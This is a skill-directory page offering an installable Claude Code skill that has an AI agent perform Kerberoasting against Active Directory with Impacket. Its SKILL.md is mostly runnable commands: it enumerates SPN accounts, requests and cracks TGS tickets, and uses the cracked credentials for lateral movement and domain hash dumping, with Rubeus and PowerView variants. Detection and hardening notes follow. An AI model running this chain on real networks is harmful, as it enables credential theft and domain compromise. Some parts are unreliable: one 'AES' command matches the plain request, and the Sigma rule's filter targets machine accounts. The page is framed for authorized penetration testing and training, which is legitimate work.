New to Claude Skills? Learn how to install them →

mukul975 on GitHub

Exploiting Kerberoasting with Impacket

Free

Perform Kerberoasting attacks using Impacket's tools.

Get this skill

Free · Opens the source repo

What Exploiting Kerberoasting with Impacket does

This skill enables users to perform Kerberoasting attacks, a technique used to exploit vulnerabilities in Active Directory service accounts. By leveraging Impacket's GetUserSPNs.py, the skill allows users to request Kerberos Ticket Granting Service (TGS) tickets for service accounts registered with Service Principal Names (SPNs). The TGS tickets are encrypted using the service account's NTLM hash, which can then be cracked offline to recover the credentials. This is particularly useful for security professionals engaged in authorized penetration testing or red team exercises, providing a means to assess the security posture of Active Directory environments.

The skill is structured to guide users through the process of enumerating Kerberoastable accounts, requesting TGS tickets, and cracking the resulting hashes. It requires valid domain credentials and network access to a Domain Controller, making it essential for users to have the appropriate permissions and a controlled testing environment. The skill also emphasizes the importance of legal and ethical considerations, ensuring that it is used solely for authorized security assessments.

With this skill, users can not only identify potential vulnerabilities in service accounts but also enhance their understanding of Kerberos authentication mechanisms. The step-by-step instructions provided in the skill documentation facilitate a straightforward implementation of Kerberoasting, making it accessible for both beginners and experienced security testers. Additionally, the skill outlines alternative tools and detection strategies, equipping users with a comprehensive toolkit for conducting thorough security evaluations.

When to use it

Use this skill during authorized penetration tests or red team engagements to assess the security of Active Directory environments.

When not to use it

Do not use this skill in unauthorized environments or for malicious purposes, as it is intended solely for ethical security testing.

What you can build with it

Conducting a Penetration Test

Use this skill during a penetration test to identify and exploit weak service accounts in an Active Directory environment.

Red Team Exercises

Incorporate this skill into red team exercises to simulate an attack on an organization's credential access defenses.

Security Training

Utilize this skill as part of a training program to educate security professionals about Kerberos vulnerabilities and exploitation techniques.

How to install Exploiting Kerberoasting with Impacket

View source

1. Install with the skills CLI

npx skills add mukul975/anthropic-cybersecurity-skills/exploiting-kerberoasting-with-impacket --agent claude-code

2. Or install it manually

Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.

Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs

Inside SKILL.md

Written by mukul975

Exploiting Kerberoasting with Impacket

Overview

Kerberoasting (MITRE ATT&CK T1558.003) is a credential access technique that targets Active Directory service accounts by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs). The TGS ticket is encrypted with the service account's NTLM hash (RC4 or AES), enabling offline brute-force cracking. Impacket's GetUserSPNs.py is the standard tool for Linux-based Kerberoasting attacks.

When to Use

  • When performing authorized security testing that involves exploiting kerberoasting with impacket
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Valid domain credentials (any domain user can request TGS tickets)
  • Network access to a Domain Controller (TCP/88 Kerberos, TCP/389 LDAP)
  • Impacket installed (pip install impacket)
  • Hashcat or John the Ripper for offline cracking
  • Wordlist (e.g., rockyou.txt, SecLists)

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

MITRE ATT&CK Mapping

Technique IDNameTactic
T1558.003Steal or Forge Kerberos Tickets: KerberoastingCredential Access
T1087.002Account Discovery: Domain AccountDiscovery
T1110.002Brute Force: Password CrackingCredential Access

Step 1: Enumerate Kerberoastable Accounts

# List all user accounts with SPNs (without requesting tickets)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1

# Output example:
# ServicePrincipalName          Name        MemberOf                          PasswordLastSet
# ----------------------------  ----------  --------------------------------  -------------------
# MSSQLSvc/SQL01.corp.local     svc_sql     CN=Domain Admins,CN=Users,...     2023-01-15 10:30:22
# HTTP/web01.corp.local         svc_web     CN=Web Admins,CN=Users,...        2024-03-20 14:15:00
# HOST/backup01.corp.local      svc_backup  CN=Backup Operators,CN=Users,...  2022-06-01 08:45:10

Step 2: Request TGS Tickets

# Request TGS tickets for all Kerberoastable accounts
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Request ticket for a specific SPN
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request-user svc_sql

# Output format (hashcat-compatible):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...

# Save to file for cracking
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile kerberoast_hashes.txt

# Using NTLM hash instead of password (Pass-the-Hash)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
  -dc-ip 10.10.10.1 -request -outputfile hashes.txt

# Request AES tickets (if available)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile hashes.txt

Step 3: Crack TGS Tickets Offline

# Hashcat - RC4 encrypted tickets (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule

# Hashcat - AES-256 encrypted tickets (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt

# Check results
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!

Step 4: Validate and Use Cracked Credentials

# Verify cracked credentials
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local

# Check for local admin access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth

# Use credentials for lateral movement
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local

# If service account is Domain Admin
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm

Alternative Tools

Rubeus (Windows)

# Kerberoast all accounts
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt

# Request RC4-only tickets (easier to crack)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt

# Kerberoast with AES
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt

PowerView (PowerShell)

Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt

Targeted Kerberoasting

High-value targets for Kerberoasting:

Account TypeWhyRisk
Service accounts in Domain AdminsDirect path to domain compromiseCritical
SQL service accounts (MSSQLSvc)Often have excessive privilegesHigh
Exchange service accountsAccess to all emailHigh
Accounts with AdminCount=1Previously/currently privilegedHigh
Accounts with old passwordsMore likely to use weak passwordsMedium

Detection

Windows Event Logs

Event ID 4769 - Kerberos Service Ticket Request
- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected
- Monitor for: Single user requesting many TGS tickets in short period
- Monitor for: Service ticket requests from unusual source IPs

Sigma Rule

title: Potential Kerberoasting Activity
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketEncryptionType: '0x17'  # RC4
        ServiceName|endswith: '$'
    filter:
        ServiceName: 'krbtgt'
    condition: selection and not filter
level: medium
tags:
    - attack.credential_access
    - attack.t1558.003

Defensive Recommendations

  1. Use Group Managed Service Accounts (gMSA) - 240-character random passwords, auto-rotated
  2. Set strong passwords (25+ chars) on all service accounts
  3. Enable AES-only encryption - Disable RC4 via GPO
  4. Monitor Event ID 4769 for RC4 TGS requests
  5. Implement Managed Service Accounts where gMSA is not feasible
  6. Regular audits - Run BloodHound to identify Kerberoastable accounts
  7. Protected Users group - Add sensitive service accounts
  8. Honeypot SPNs - Create decoy accounts with SPNs to detect attacks

References

Frequently asked questions about Exploiting Kerberoasting with Impacket

Similar skills